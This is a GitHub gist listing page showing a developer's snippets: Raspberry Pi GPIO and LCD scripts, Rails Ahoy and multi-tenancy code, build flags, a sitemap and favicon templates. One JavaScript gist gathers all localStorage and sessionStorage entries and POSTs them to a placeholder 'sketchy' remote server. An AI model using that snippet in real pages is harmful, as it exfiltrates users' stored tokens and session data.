Skip to content

Instantly share code, notes, and snippets.

View donrestarone's full-sized avatar
🤖
Building products

Don Restarone donrestarone

🤖
Building products
View GitHub Profile
@donrestarone
donrestarone / I2CLCD1602.py
Last active January 26, 2025 23:32
raspberry pi LCD 1602 I2C display script
#!/usr/bin/env python3
########################################################################
# Filename : I2CLCD1602.py
# Description : Use the LCD display data
# Author : freenove
# modification: 2023/05/15
########################################################################
import time
from time import sleep, strftime
import smbus
@donrestarone
donrestarone / InfraredSenseLED.py
Created January 19, 2025 19:16
raspberry pi infrared sensor activated LED 'security light'
#!/usr/bin/env python3
########################################################################
# Filename : SenseLED.py
# Description : Control led with infrared Motion sensor.
# auther : www.freenove.com
# modification: 2023/05/11
########################################################################
from gpiozero import LED,MotionSensor
import time
@donrestarone
donrestarone / gist:79e7a65cdb997206dd7fc56fad52967d
Last active January 18, 2025 21:49
test raspberry PI GPIO with LED
from gpiozero import LED
from time import sleep
red = LED(17)
while True:
red.on()
sleep(1)
red.off()
sleep(1)
class Ahoy::Event < ApplicationRecord
scope :with_label_grouped_data , -> {
# Build a subquery SQL
subquery = self.unscoped.select("(case when #{table_name}.properties->>'label' is not NULL then #{table_name}.properties->>'label' else #{table_name}.name end) as label, #{table_name}.id").to_sql
# join the subquery to base model and returns the grouped data as Hash
self
.joins("INNER JOIN (#{subquery}) as labelled_events ON labelled_events.id = #{table_name}.id")
.group(:label)
@donrestarone
donrestarone / violet-rails-cleanup.rb
Created May 27, 2022 09:23
example of subdomain based multi-tenancy in Violet Rails: how to access subdomains
task :clear_old_ahoy_visits => [:environment] do
Subdomain.all.each do |subdomain|
Apartment::Tenant.switch subdomain.name do
if subdomain.purge_visits_every != Subdomain::TRACKING_PURGE_MAPPING[:never]
p "clearing old ahoy visits for [#{subdomain.name}] @ #{Time.now}"
visits = Ahoy::Visit.where("started_at < ?", eval("#{subdomain.purge_visits_every}.ago"))
p "#{visits.size} visits eligible for deletion"
visits.in_batches do |batch|
p "cleared old ahoy visits @ #{Time.now}"
batch.destroy_all
@donrestarone
donrestarone / ruby.sh
Created December 23, 2021 11:06
rbenv ruby install build flags for M1 (apple silicon) mac
CFLAGS="-Wno-error=implicit-function-declaration" RUBY_CONFIGURE_OPTS='--with-readline-dir=/usr/local/opt/readline/' arch -x86_64 rbenv install 2.4.2
@donrestarone
donrestarone / local-storage-and-session-storage.js
Last active December 16, 2021 11:52
find local storage and session storage data and send to a remote server
storedItems = [Object.keys(sessionStorage), Object.keys(localStorage)].flat().map((k) => {
return {
key: k, value: sessionStorage.getItem(k)
}
})
console.log(storedItems);
let xhr = new XMLHttpRequest();
xhr.open("POST", 'https://sketchymcsketchserver.com', true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
@donrestarone
donrestarone / sitemap.rb
Created February 3, 2021 13:48
a simple example of sitemap_generator in a rails application
SitemapGenerator::Sitemap.default_host = "https://your-domain.com"
SitemapGenerator::Sitemap.create do
add blog_index_path
add new_visitor_inquiry_path
add services_path
add about_index_path
end
@donrestarone
donrestarone / dynamic-favicons.html.erb
Last active February 3, 2021 13:36
dynamically render favicons for a variety of sizes
<%= favicon_link_tag asset_path('your logo path') %>
<% %w(32 128 76 120 152 167 180 192 196).each do |size| %>
<%= favicon_link_tag "/icons/your-logo.png", rel: 'apple-touch-icon', type: 'image/png', sizes: "#{size}x#{size}" %>
<% end %>
<% %w(16 32).each do |size| %>
<%= favicon_link_tag "/icons/your-logo.png", rel: 'icon', type: 'image/png', sizes: "#{size}x#{size}" %>
<% end %>